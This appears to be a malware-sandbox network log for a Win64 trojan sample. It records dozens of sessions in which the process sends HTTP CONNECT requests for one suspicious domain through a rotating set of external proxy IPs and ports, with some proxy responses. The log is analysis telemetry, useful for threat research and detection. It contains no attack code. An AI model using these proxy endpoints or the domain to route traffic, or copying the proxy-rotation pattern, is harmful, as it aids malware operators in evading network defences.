1858	192.168.2.8	55108	185.245.38.200	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.109960079 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1859	192.168.2.8	55372	5.9.98.142	3629	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.130435944 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1860	192.168.2.8	55367	190.43.92.120	999	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.140115976 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.477184057 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1861	192.168.2.8	55371	45.11.95.165	5040	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.143556118 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.465712070 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1862	192.168.2.8	52291	142.93.66.245	25979	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.143750906 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.194974899 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:48.194880962 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1863	192.168.2.8	55362	103.48.69.113	84	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.144114971 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.967092991 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1864	192.168.2.8	55123	91.241.21.237	9812	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.144180059 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.195158958 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:48.194890022 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:54.288635969 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1865	192.168.2.8	55374	5.44.42.82	10808	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.174096107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1866	192.168.2.8	52256	178.33.162.89	50682	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.186080933 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.195008039 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:48.194966078 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:54.288573980 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:06.288459063 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:18.288460016 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1867	192.168.2.8	54720	51.75.206.209	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.225589037 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.288628101 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:48.398030043 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:54.457815886 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:06.460422993 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:18.616606951 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1868	192.168.2.8	52223	162.214.165.203	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.225589037 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.382282019 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1869	192.168.2.8	52283	167.99.39.82	13486	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.226685047 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.288667917 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1870	192.168.2.8	52314	79.143.187.58	1730	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.228130102 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.288683891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1871	192.168.2.8	52338	193.57.139.233	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.247041941 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.288765907 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1872	192.168.2.8	52108	156.200.116.68	1981	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.286387920 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.288834095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:48.398047924 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:54.457875013 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:06.460432053 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:18.617108107 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:30.632251024 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:29:54.647892952 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1873	192.168.2.8	55295	50.63.13.3	1938	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.286798954 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.382496119 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1874	192.168.2.8	55411	93.190.24.119	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.301141977 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1875	192.168.2.8	55395	104.19.83.128	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.304678917 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.392596960 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:42 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1876	192.168.2.8	52340	8.218.148.144	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.335402966 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.466825008 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1877	192.168.2.8	55249	45.167.124.30	999	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.371989012 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.466933012 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:46.584197998 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1878	192.168.2.8	55287	109.123.254.43	51856	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.382050991 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1879	192.168.2.8	55427	218.145.131.182	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.391439915 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1880	192.168.2.8	55396	193.239.56.84	8081	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.391555071 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1881	192.168.2.8	54927	184.185.105.105	4481	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.412991047 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1882	192.168.2.8	55267	36.67.77.41	3128	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.416721106 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1883	192.168.2.8	55422	172.67.182.126	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.416759968 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.504695892 CET	316	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Fri, 23 Feb 2024 13:28:42 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1884	192.168.2.8	55407	212.31.100.138	4153	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.426110029 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1885	192.168.2.8	55414	142.54.236.97	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.439361095 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1886	192.168.2.8	55245	103.48.69.113	82	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.439412117 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:43.430496931 CET	19	IN	HTTP/1.1 200 OK

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1887	192.168.2.8	55256	183.56.243.209	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.445723057 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1888	192.168.2.8	55397	138.201.21.218	43478	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.470231056 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:42.807902098 CET	24	IN	HTTP/1.1 403 #string

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1889	192.168.2.8	55307	114.236.93.203	15599	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.537914991 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.585597038 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1890	192.168.2.8	55144	64.227.108.25	31908	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.537971020 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1891	192.168.2.8	55465	93.190.24.119	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.559573889 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1892	192.168.2.8	55409	175.183.82.221	8197	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.569941998 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1893	192.168.2.8	55426	80.67.8.6	80	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.573647976 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1894	192.168.2.8	55467	218.145.131.182	443	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.595249891 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1895	192.168.2.8	55453	45.11.95.166	6012	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.677659035 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:47.025913954 CET	39	IN	HTTP/1.0 200 Connection established

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1896	192.168.2.8	55417	81.69.243.126	1080	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.706978083 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1897	192.168.2.8	55048	125.227.225.157	3389	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.783823967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1898	192.168.2.8	55461	185.245.38.200	4145	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.783988953 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1899	192.168.2.8	52552	192.248.166.13	8888	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.785017967 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:45.882491112 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:48.883598089 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
Feb 23, 2024 14:28:54.991697073 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1900	192.168.2.8	52474	50.63.12.101	3580	5828	C:\Users\user\Desktop\SecuriteInfo.com.Win64.TrojanX-gen.24429.31258.exe

Timestamp	Bytes transferred	Direction	Data
Feb 23, 2024 14:28:42.785269976 CET	143	OUT	CONNECT heygirlisheeverythingyouwantedinaman.com:443 HTTP/1.1 Host: heygirlisheeverythingyouwantedinaman.com Proxy-Connection: Keep-Alive
